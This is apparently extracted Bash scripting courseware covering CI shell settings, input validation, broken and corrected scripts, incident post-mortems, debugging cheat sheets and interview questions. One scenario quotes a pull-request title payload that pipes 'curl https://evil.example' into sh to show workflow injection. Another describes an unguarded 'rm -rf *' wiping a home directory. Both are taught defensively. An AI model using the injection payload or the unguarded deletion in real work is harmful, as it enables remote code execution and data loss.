See Lesson 6 Module 2: Scripting cloud CLIs,Terraform 8 hours.
GitHub Actions: if shell is not written, Linux/macOS default to bash -e {0} (no pipefail); explicitly shell: bash is bash --noprofile --norc -eo pipefail {0} (official docs), so use defaults.run.shell: bash to unify it. Put logic in repository scripts (runnable locally and testable); YAML only calls them; ${{ … }} expressions go into environment variables first and are then referenced, to prevent injection; secrets are not printed or put into argv; get cloud credentials via OIDC; scripts have the execute bit (#45). GitLab CI's script: is run by the shell in the image; on Alpine it may be BusyBox sh (#40, #48).
defaults:
run:
shell: bash
jobs:
deploy:
runs-on: ubuntu-latest
timeout-minutes: 20
steps:
- uses: actions/checkout@v5
- name: Deploy
env:
PR_TITLE: ${{ github.event.pull_request.title }} # first put it into an environment variable
run: ./scripts/deploy.sh --env staging --title "$PR_TITLE"
shellcheck,shfmt -d,bats (Q33–Q35).Print the CI shell options and Bash version at the start of the log, so troubleshooting is obvious.
“GitHub Actions has pipefail by default”.
See Lesson 6 Module 7: Running scripts in CI,GitHub 8 hours,GitLab 8 hours.
Bash is good at glue: calling programs, handling files and pipes, short automation. Migration signals: ① nested data structures (dictionaries of lists) or heavy JSON processing; ② reliable error handling, retries and concurrency control with many branches; ③ more than a few hundred lines with lots of state passed between functions; ④ need for unit-test coverage, type checking, cross-platform support (including Windows); ⑤ the bottleneck is massive forking; ⑥ it is essentially declarative configuration management (→ Ansible) or infrastructure (→ Terraform).
Use Part A as examples: problems like #15, #26, #27 and #36 do not exist in languages with exception mechanisms.
“Bash can do anything”, or “Bash should never be used in production”.
①Validate: whitelist regex / enumerations, length limits, reject a leading -; ②Stop parsing: do not use eval/bash -c "…$x…"/ssh h "…$x…", pass data as separate arguments (#11); ③Quoting and --: quote all expansions, and prefix arguments with --, and prefix globs with ./ (#1, #50); ④Arithmetic context: validate numbers before they enter $(( ))/[[ -eq ]] (#8, #17); ⑤File system: mktemp, do not follow symlinks controlled by an attacker, canonicalize paths and restrict them to allowed prefixes (#34); ⑥Secrets: keep them out of argv, logs and xtrace (#46); ⑦Permissions: least privilege; do not handle user-writable directories as root.
safe_path() { # restrict a user-supplied relative path to base
local base=$1 p real
p=$2
[[ $p != -* && $p != *$'\n'* ]] || return 1
real=$(realpath -m -- "$base/$p") || return 1 # GNU realpath: normalizes .. and redundant /
[[ $real == "$base"/* ]] || return 1
printf '%s\n' "$real"
}
[[ ${#name} -le 63 && $name =~ ^[a-z0-9](%5Ba-z0-9-%5D*%5Ba-z0-9%5D)?$ ]] || die "bad name"
jq -n --arg t "$title" '{title: $t}' # build JSON with --arg, do not concatenate strings
${{ github.event.* }} inline directly into run: (Q46).BASH_ENV,PATH, and exported functions are also input (Q4, Q7).x='a[$(cmd)]' so entering an arithmetic context may execute commands (depending on the version; Bash 5.3's array_expand_once mitigates some of this).Turn the checklist into a review template, ShellCheck rules and bats malicious-input test cases.
“Filtering out semicolons makes it safe”—there are still $( ), backticks, newlines,|,&.
#!/bin/bash OUT=/tmp/sync-result.json curl -s https://api.example.com/items > $OUT for id in $(jq -r '.[].id' $OUT); do process_item $id & done wait echo $(date) "sync ok" >> /var/log/sync.log
①Overlapping runs: no lock; when a run exceeds 5 minutes, multiple instances write at the same time /tmp/sync-result.json (#35, #34); ②Failures are invisible: curl -s no -f, no timeouts (#25, #38), and a bare wait always returns 0 (#36) and unconditionally writes "sync ok" at the end; ③No concurrency limit: one background process per id, which overwhelms the machine and the API with thousands of items; ④Environment: under cron, may not find jq,process_item (#39), and if process_item is a function it is undefined; ⑤ fixed /tmp file name has security issues; ⑥ unquoted (#1).
#!/usr/bin/env bash
set -Eeuo pipefail
export PATH=/usr/local/bin:/usr/bin:/bin LC_ALL=C.UTF-8
source /opt/sync/lib.sh # defines process_item
exec 9>/run/lock/sync.lock; flock -n 9 || { logger -t sync "previous run active, skip"; exit 0; }
tmp=$(mktemp -d); trap 'rm -rf -- "$tmp"' EXIT
curl -fsS --max-time 30 --retry 3 -o "$tmp/items.json" https://api.example.com/items
jq -e 'type == "array"' "$tmp/items.json" >/dev/null
export -f process_item
jq -r '.[].id' "$tmp/items.json" | grep -E '^[A-Za-z0-9_-]+$' |
xargs -r -P 8 -I{} timeout 120 bash -c 'process_item "$1"' _ {} # if any one fails → xargs returns 123
logger -t sync "sync ok: $(jq length "$tmp/items.json") items"
OnFailure=, or push Pushgateway / heartbeat metrics; alert when there has been no success for more than 15 minutes.GNU xargs exits with 123 when any command returns 1–125, so it can be used directly with set -e.
Only adding set -e— this has no effect on background jobs and wait is ineffective.
Related: #25 #34 #35 #36 #38 #39; Lesson 6 Module 6.
set -euo pipefail
wait_ready() {
i=0
while true; do
code=$(curl -s -o /dev/null -w '%{http_code}' $1)
if [ $code == 200 ]; then echo "ready"; break; fi
((i++))
if [ $? -ne 0 ]; then echo "curl failed"; fi
sleep 2
done
}
wait_ready http://localhost:8080/healthz
①((i++)) When i=0, it returns 1,set -e so under set -e it exits on the first not-ready check (#30); ② no retry cap and no overall timeout, so if the service never starts it waits forever; ③$? it checks ((i++)) rather than curl's result (#18); ④ when curl cannot connect, %{http_code} prints 000 and exits non-zero; a failed assignment likewise triggers set -e; ⑤[ $code == 200 ]: == in POSIX [ is not portable; variables are unquoted (#4); ⑥$1 is unquoted; ⑦i,code without local, polluting globals (Q17); ⑧ curl has no timeout (#38).
wait_ready() {
local url=${1:?url required} timeout_s=${2:-60} deadline code
deadline=$(( SECONDS + timeout_s ))
while (( SECONDS < deadline )); do
code=$(curl -s -o /dev/null --max-time 3 -w '%{http_code}' -- "$url") || code=000
if [[ $code == 200 ]]; then log::info "ready: $url"; return 0; fi
log::debug "not ready yet (http=$code)"
sleep 2
done
log::error "timeout after ${timeout_s}s waiting for $url (last http=$code)"
return 1
}
wait_ready http://localhost:8080/healthz 90 || exit 1
SECONDS? Bash's built-in timer, with no need to call date; an overall timeout is more accurate than "attempts × interval" (curl itself takes time).Leave readiness checks to the platform (Kubernetes readinessProbe, systemd Type=notify, load-balancer health checks), and the script only does post-deployment verification.
Only spotting "no timeout", missing ((i++)) and $? problems.
Related: #4 #18 #30 #38; Q17, Q31.
On Friday evening, a cleanup script on a newly brought-up server deleted /home/deploy all content under (including SSH keys), causing all subsequent deployments to fail. Script excerpt: cd $WORKDIR/tmp; rm -rf *, the variable was not set on the new server WORKDIR. Please write the key points of the post-mortem: timeline, root cause, why it was not caught, and improvement items.
WORKDIR When it is unset, $WORKDIR/tmp expands to /tmp. On the new server, the deploy user's crontab runs the script in $HOME ; if cd entered /tmp, it would delete /tmp contents; if cd fails for permission or mount reasons, it stays in $HOME and runs rm -rf *— in this case it is the latter (#2, #31, #39). In the post-mortem, use bash -x and l8_cronlike to reproduce precisely in the same environment, and confirm with evidence which branch was taken, rather than guessing.set -u + ${WORKDIR:?},cd … || exit, delete a dedicated directory rather than *, a ShellCheck gate in CI, bats cases covering "variable not set", configuration management distributing environments uniformly, regular backups of home directories, and key custody.The team has 30 Bash scripts in different styles (some #!/bin/sh, and some depend on personal .bashrc), and newcomers don't know which to use. Give a consolidation plan.
--yes and dry-run.The input is ~/bashlab/data/access.log (combined format). Requirements: robust to any User-Agent, configurable threshold, TSV output, exit codes usable for alerting.
#!/usr/bin/env bash
set -Eeuo pipefail
log=${1:-$HOME/bashlab/data/access.log}; threshold=${THRESHOLD:-10}
[[ $threshold =~ ^[0-9]+$ ]] || { echo "THRESHOLD must be integer" >&2; exit 2; }
LC_ALL=C awk -F'"' '
{ split($2, req, " "); split($3, st, " ") } # $2 = "GET /path HTTP/1.1", $3 = " 503 123 "
st[1] ~ /^5/ { c[req[2]]++ }
END { for (p in c) printf "%d\t%s\n", c[p], p }' "$log" |
sort -t$'\t' -k1,1nr | head -3 | tee /dev/stderr |
awk -F'\t' -v t="$threshold" '$1 > t { bad=1 } END { exit bad }'Split on quotes so that spaces in the User-Agent do not affect the fields (Q20); a 24-hour window can be parsed in awk [17/Nov/2026:10:00:01 +0000] timestamps, or first use find -newermt to select the rotated files; head SIGPIPE does not come up here, because upstream sort reads all input before producing output, and the output is small (#29).
Answer quality in third-party interview videos varies and may be based on older versions; follow this lesson, the GNU Bash manual and the official docs. No verified "Bash code review" video was found; it is recommended to use this module's 6 review questions and peer-review with colleagues, then record and replay.
Filter by keyword (for example unbound,\r,pipefail,cron,SC2086,flock). Click a number to jump to the details in the corresponding module.
Read the question and recall the answer first, then expand to compare with the one-line key point; for details, go back to the "interview question details" in the corresponding module.
bash -n script.sh # syntax check
bash -x script.sh 2>&1 | less # trace (watch out for secrets, #46)
PS4='+ ${BASH_SOURCE##*/}:${LINENO}:${FUNCNAME[0]:-main}: '
printf '<%s>\n' "$@"; declare -p var arr # argument boundaries and real values
type -a cmd; command -v cmd; hash -r
cat -A file | head; od -c file | head # \r, tabs, trailing newlinescmd; rc=$? # save immediately (#18)
cmd | cmd2; echo "${PIPESTATUS[@]}" # each segment's exit code
set -Eeuo pipefail; trap 'echo "ERR $LINENO: $BASH_COMMAND" >&2' ERR
kill -l $((rc-128)) # 128+N → signal name
{ cmd | head -1; } || [[ $? -eq 141 ]] # tolerate only SIGPIPE (#29)
i=$((i+1)) # not ((i++)) (#30)rm -rf -- "${dir:?}/"* # empty-value guard + -- (#2)
cd -- "$dir" || exit 1 # #31
shopt -s nullglob; files=(./*.log) # #6
find . -name '*.log' -print0 | xargs -0 -r cmd --
while IFS= read -r -d '' f; do …; done < <(find . -print0)
tar -C "$dir" -cf out.tar . # do not expand globs (#50)while IFS= read -r -u 3 line || [[ -n $line ]]; do
line=${line%$'\r'}; …
done 3< file # #12 #13 #14 #16
while read -r x; do …; done < <(cmd) # variables are not lost (#15)
mapfile -t lines < file
ssh -n "$h" cmd # does not swallow stdinreadlink -f /bin/sh; echo "$BASH_VERSION"
env -i PATH=/usr/bin:/bin /bin/sh -c ./job.sh # simulates cron (#39)
shellcheck -s sh x.sh; dash x.sh # #40
docker run --rm -v "$PWD":/w -w /w bash:3.2 bash x.sh # #41
export LC_ALL=C # #20 #21
SCRIPT_DIR=$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd -P) # #44tmp=$(mktemp -d); trap 'rm -rf -- "$tmp"' EXIT # #34
exec 9>/run/lock/job.lock; flock -n 9 || exit 0 # #35
cmd & pids+=($!); for p in "${pids[@]}"; do wait "$p" || f=1; done # #36
timeout -k 10 300 cmd; curl --max-time 30 … # #38
trap 'exit 143' TERM; long_task & wait $! # #33
exec "$@" # container entrypoint (Q37)| Rule | Meaning (ShellCheck 0.11.0 summary) | Problem |
|---|---|---|
| SC2086 | Double quote to prevent globbing and word splitting. | #1 #10 |
| SC2115 | Use "${var:?}" to ensure this never expands to /* . | #2 |
| SC2070 | -n doesn't work with unquoted arguments. Quote or use [[ ]]. | #4 |
| SC2045 / SC2035 | Iterating over ls output is fragile. Use globs. / Use ./*glob* or -- *glob* so names with dashes won't become options. | #5 #50 |
| SC2088 | Tilde does not expand in quotes. Use $HOME. | #7 |
| SC2048 / SC2068 | Use "$@" (with quotes) to prevent whitespace problems. / Double quote array expansions to avoid re-splitting elements. | #10 |
| SC2162 | read without -r will mangle backslashes. | #12 |
| SC1017 | Literal carriage return. Run script through tr -d '\r' . | #13 |
| SC2181 | Check exit code directly with e.g. 'if ! mycmd;', not indirectly with $?. | #18 |
| SC2155 | Declare and assign separately to avoid masking return values. | #27 |
| SC2164 | Use 'cd ... || exit' or 'cd ... || return' in case cd fails. | #31 |
| SC3010 / SC3030 / SC3046 / SC3037 / SC2113 | In POSIX sh, [[ ]] / arrays / 'source' / echo flags are undefined; 'function' keyword is non-standard. | #40 |
| SC2024 | sudo doesn't affect redirects. Use ..| sudo tee file | #43 |
Each scenario combines several problems from Part A. First write down your first diagnostic command and your judgment, then expand the answer.
deploy.sh: line 2: $'\r': command not found
(after fixing the line endings) cp: cannot stat 'build/app.tgz': No such file or directory
deploy reported success
CI step: no shell: was written, so the default is bash -e {0}
Answer: CRLF (#13) → .gitattributes eol=lf; deploy the function is called in if deploy; then , and inside the function body set -e is ineffective (#26) → inside the function, cp … || return; the CI default shell has no pipefail (#45) → defaults.run.shell: bash. Improvement: verify the live version after deployment (Q42).
ls -l backup-2026-11-16.sql.gz → 20 bytes mysqldump: Got error: 1045: Access denied … (only on stderr, not logged) backup.sh: line 9: 09: value too great for base (error token is "09")
Answer: No pipefail, so the mysqldump failure is masked by gzip (#28); using $(date +%H) for arithmetic, the 08 and 09 o'clock runs report an octal error (#8) → 10#$h. Improvement: check backup size and integrity, send stderr to the log, run restore drills (Q39).
cron mail: /bin/sh: 1: jq: not found (from another job) check.sh: while read h; do ssh "$h" … ; done < hosts → only web1 cat app.log | grep ERROR | while read l; do ((n++)); done; echo "errors=$n" → errors=0
Answer: cron's PATH is minimal (#39) → set PATH in the script; ssh swallows the loop's stdin (#16) → ssh -n / read -u 3; the while in a pipeline runs in a subshell (#15) → grep -c count in one pass.
crontab: 0 3 * * * /opt/tools/clean.sh clean.sh: cd $WORKDIR/tmp; rm -rf * The new machine has no WORKDIR; cron's working directory is $HOME
Answer: Empty variable + cd unhandled failure (#2, #31), in cron's $HOME working directory, executed rm -rf * (#39). Fix: ${WORKDIR:?},cd … || exit, delete a dedicated directory, ShellCheck SC2164 / SC2115 gate (Scenario 8-1).
docker stop exits with 137, and the logs also show Syntax errorDockerfile: CMD ["sh", "/entrypoint.sh"]
/entrypoint.sh: line 3: syntax error: unexpected "("
docker inspect … ExitCode=137 OOMKilled=false
Answer: Running via sh (BusyBox ash) ran a Bash script with arrays (#40) → install bash and run it with CMD ["/entrypoint.sh"] + shebang; bash as PID 1 does not handle SIGTERM (#33) → at the end of the entrypoint exec "$@" or --init (Q37). Error wording follows the actual BusyBox version.
+ curl -H 'Authorization: Bearer eyJ0eXAi…' https://api…
run: echo "Building ${{ github.event.pull_request.title }}"
PR title: fix"; curl https://evil.example | sh; echo "
Answer: Trace turned on during debugging set -x leaked the token (#46) → revoke and rotate immediately,{ set +x; } 2>/dev/null, pass the token via stdin; expressions inlined directly into the script caused injection (#11, Q46) → first put them into env: and then reference them as "$TITLE" .
bootstrap.sh: line 12: declare: -A: invalid option printf: 3.14159: invalid number → 3,00 The result of comm -23 a.sorted b.sorted differs on the two machines
Answer: macOS /bin/bash macOS's bash is 3.2 (#41) → #!/usr/bin/env bash + version check; LC_NUMERIC printf uses a comma decimal separator (#21); sort and comparison locales do not match (#20) → at the top of the script, export LC_ALL=C.
pgrep -fa sync.sh → 7 instances /tmp/sync-result.json is written by several instances at the same time for id in …; do process_item $id & done; wait → exit code is always 0 counter file: expected 200, actual 37
Answer: No lock → overlap (#35), fixed /tmp filename (#34), no concurrency limit, and wait swallows failures (#36), read-modify-write race (#37). For the fix see Q49: flock, mktemp,xargs -P, each task writes its own output and summarizes afterwards, timeout.
Each question has a 2-minute countdown: answer aloud first (you can write key points in the text box), then expand the reference answer, and self-rate as "answered / partial / not sure". At the end, the score for this round is shown, along with the cumulative mastery rate by module. Self-assessment results are saved in this browser.
rm -- "${dir:?}/"* the expansion pipeline from reading to execution, and mark the step at which #1, #2, #6, #7 and #50 are blocked.set -e all the exceptions, and for each one give a production consequence.backup subcommands, design bats tests covering at least five cases: empty arguments, missing directory, mysqldump failure, concurrent runs and Ctrl-C interruption.| Item | Facts used in this lesson | Source (accessed 2026-11-17) |
|---|---|---|
| GNU Bash | 5.3 was released in 2025-07 (on ftp.gnu.org, bash-5.3.tar.gz dated 2025-07-30); official patches have reached bash53-020 (2026-09-14), i.e. 5.3.20; the last release in the 5.2 series is 5.2.37. New features in 5.3 (NEWS): ${ command; } / ${| command; },GLOBSORT,array_expand_once (replacing assoc_expand_once),BASH_TRAPSIG,read -E,source -p PATH,bash_source_fullpath | ftp.gnu.org/gnu/bash · NEWS in the bash-5.3 source package |
set -e / -u / pipefail original text | exception rules, “a function executed in an ignored context is entirely unaffected by -e”,-u for @/* exceptions, pipefail definition | Bash manual: The Set Builtin |
| Docker official image | bash:5.3 = 5.3.20 (Alpine 3.24 base, BusyBox v1.37.0 tools); bash:3.2 = 3.2.57 | Docker Hub: bash |
| ShellCheck | v0.11.0 (2025-08-04); the SC numbers and messages cited in this lesson are all koalaman/shellcheck:v0.11.0 obtained by actual runs | ShellCheck releases |
| shfmt | v3.14.1 (2026-09-06) | mvdan/sh releases |
| bats-core and helper libraries | bats-core v1.14.0, bats-support v0.3.0, bats-assert v2.2.4 | bats-core releases |
| jq / yq / GNU parallel | jq 1.8.2 (the #25 tests in this lesson use the jq 1.7 bundled with Debian 13; behavior is the same); mikefarah yq v4.54.3; GNU parallel 20261022 | jq · yq · parallel |
| GitHub Actions default shell | When not specified (Linux/macOS): bash -e {0}; shell: bash: bash --noprofile --norc -eo pipefail {0} | GitHub Docs: workflow syntax |
| Google Shell Style Guide | function naming,main,local, constants, “consider switching languages beyond about 100 lines”, and similar key points | Shell Style Guide |
| Label | Environment | Used for |
|---|---|---|
| Bash 5.3.20 · bash:5.3 container | Docker 28.5.1, official image bash:5.3 (musl, BusyBox tools) | #2–#4, #6–#12, #14–#17, #29, #30, #36, #49 etc. Bash's own errors; #48 BusyBox errors; #33 PID 1 experiment |
| Bash 5.2.21 · Ubuntu 24.04 / WSL2 | GNU coreutils 9.4, GNU findutils/sed/tar, util-linux flock, dash | #1, #5, #13, #22, #23, #24, #26, #31, #32, #34, #35, #37, #38, #39, #40, #42, #44–#47, #50 etc. GNU tool wording |
| Bash 5.2.37 · Debian 13 container | GNU coreutils 9.7, glibc locales (en_US / de_DE / tr_TR), gawk, jq 1.7 | #20, #21, #25 |
| Bash 3.2.57 · bash:3.2 container | same as the macOS built-in version | #41 |
| ShellCheck 0.11.0 container | koalaman/shellcheck:v0.11.0 | all SC numbers and original messages |
All videos were checked on 2026-11-17 via the YouTube oEmbed interface (https://www.youtube.com/oembed?url=…&format=json) for title and channel; oEmbed does not return duration or publication date, so these are not shown. Verified: anthonywritescode “bash quoting is really not that difficult! (beginner - intermediate) anthony explains #426” (VIUoHnFwEH4); “bash "strict mode": -euo pipefail (beginner - intermediate) anthony explains #201” (9fSkygQ-ZjI); “bash strict mode gotcha (intermediate) anthony explains #453” (oqq5k8XsrSs); “bash: special redirection (intermediate) anthony explains #311” (3f8xjDr789Q); Tech with Hazem “#14 The Bash Rule That Deletes the Wrong Files (Word Splitting) - Introduction to Linux Command Line” (p2ew_qfJGwQ); Nick Janetakis “Prevent Unset Variables in Your Shell / Bash Scripts with set -o nounset” (Kly_6DhfHwE), “3 Practical Examples of Using Bash While and Until Loops” (-Cvo_yipfrU); You Suck at Programming “test vs [ vs [[: Bash Conditionals Explained! You Suck at Programming #066” (6QdNixBS4wc), “Proper `for` loops in Bash - `for` vs `while` loops - You Suck at Programming #038” (TVzG-vc1lWM), “Finding files - the `find` Command and Shell Globbing - You Suck at Programming #058” (FpOZGoq4Ogc), “The Problem with Bash 'Strict Mode' - Why I Don’t Use `set -euo pipefail`” (4Jo3Ml53kvc), “Trapping signals with `trap` in Bash! Responding to Unix signals. You Suck at Programming #064” (aXovP1sUtoE), “The Complete Bash Scripting Course - Full Length Guide to learning the Bash Shell” (Sx9zG7wa4FA); DistroTube “'xargs' - execute command lines from standard input - Video Man Pages” (tUkQcvytVtw); Low Orbit Flux “Linux Command - flock” (NJ6VzhTqMWY); Learn Linux TV “Linux Crash Course - Scheduling Tasks with Cron” (7cbP7fzn0D8), “How To Write Bash Scripts In Linux - Complete Guide (Part 1 - Introduction)” (2733cRPudvI); Delft Stack “Why Crontab Scripts Are Not Working? [Linux/Ubuntu GUIDE]” (edzz_qcBet8); Fresh Forensics by Douglas Habian “Check Your Bash Scripts With Shellcheck” (Dmb42DW7Rzk); Fireship “Bash in 100 Seconds” (I4EWvMFj37g); freeCodeCamp.org “Bash Scripting Tutorial for Beginners” (tK9Oc6AEnR4); linuxhint “Bash Scripting Full Course 3 Hours” (e7BufAVwDiM); NetworkChuck “you need to learn BASH Scripting RIGHT NOW!! // EP 1” (SPwyp2NG-bE); theurbanpenguin “Test-Driven Development (TDD) Tutorial: Unit Testing Bash Scripts with Bats on Rocky Linux 10” (EHUE3i8izew); Gabriel Starczewski - Performance Testing “BATS - What is Bash Automated Testing System and how to use it on Azure pipelines” (Wm-HpV4Qze8); TechTooniya “Bash trap Command Explained: Catch SIGINT, SIGTERM, and Clean Up on EXIT” (SzSCsSV77q0); DGR Uploads “15 Advanced Bash Scripting Interview Questions (DevOps Focus): Error Handling & Safe Automation” (AmAwv4d3vIs), “Top 15 Shell Scripting Interview Questions for DevOps | Shell Scripting Interview Prep | DevOps prep” (DZBZnLU-PHs); Red9SysTech “Real-World Shell Scripting Interview Questions: Put Your Skills to the Test | Hands on| Red9SysTech” (c5ykWmSJeHc); edureka! “Shell Scripting Interview Questions & Answers | Linux Admin Certification Training | Edureka” (6ue2luv2I-Y); tutoriaLinux “Popular Linux Interview Questions for DevOps Interviews” (GdrjTVDelI0). No verified video was found that specifically covers empty-variable + rm -rf guards, octal traps, command injection, and CRLF $'\r' errors, loop swallowing stdin, locale and decimal points, SIGPIPE 141,wait return values, container PID 1 signals, Bash 3.2 compatibility, xtrace secret leaks, glob option injection, nameref / dynamic scope, and Bash code review; the relevant pages provide storyboards or notes. Third-party videos (especially interview-style ones) vary in answer quality and may be based on older versions; use them for reference only.
The "Voice" tab uses the browser's built-in Web Speech API (Chinese zh-CN, English terms en-US); it uploads no data, and the courseware has no embedded audio. A Chinese voice pack must be installed on the system; if there is none, read the script directly or use another TTS tool.
bash: line 1: and script name: line N:,-bash: interactive prompts) vary with how the command is invoked. On Ubuntu 26.04 (Bash 5.3 + rust-coreutils), ls,sort,date,cat and similar tools' error wording may differ from the GNU coreutils 9.4 cited in this lesson,not tested one by one on 26.04; follow the actual output.sed -i error wording,comm the "not in sorted order" hint of, BusyBox ash errors on array syntax (Scenario 5), the prompts of original sudo and sudo-rs, and how Bash handles ssh host cmd whether it reads ~/.bashrc (depends on build options), Debian cron's default PATH, and dash 0.5.13+ support for pipefail and $'…' support, gawk --csv starting version, and the example PIDs and directory names in lab steps.docker stop the wait duration depends on --stop-timeout and the daemon configuration (Docker defaults to 10 seconds; the configuration in our test environment is 1 second). This lesson only cites the verified results for exit codes 137 / 143.>> the conclusion that small appends do not interleave applies only to a single write small write on a local filesystem.wait -n 4.3,inherit_errexit and empty arrays set -u fix 4.4,EPOCHREALTIME 5.0); CHANGES was not checked item by item; the Kubernetes default grace period of 30 seconds and the meanings of curl exit codes are taken from the general descriptions in their respective documentation.tools.example.com/v1.4.2,actions/checkout@v5) are examples; for Action versions, use the official repository.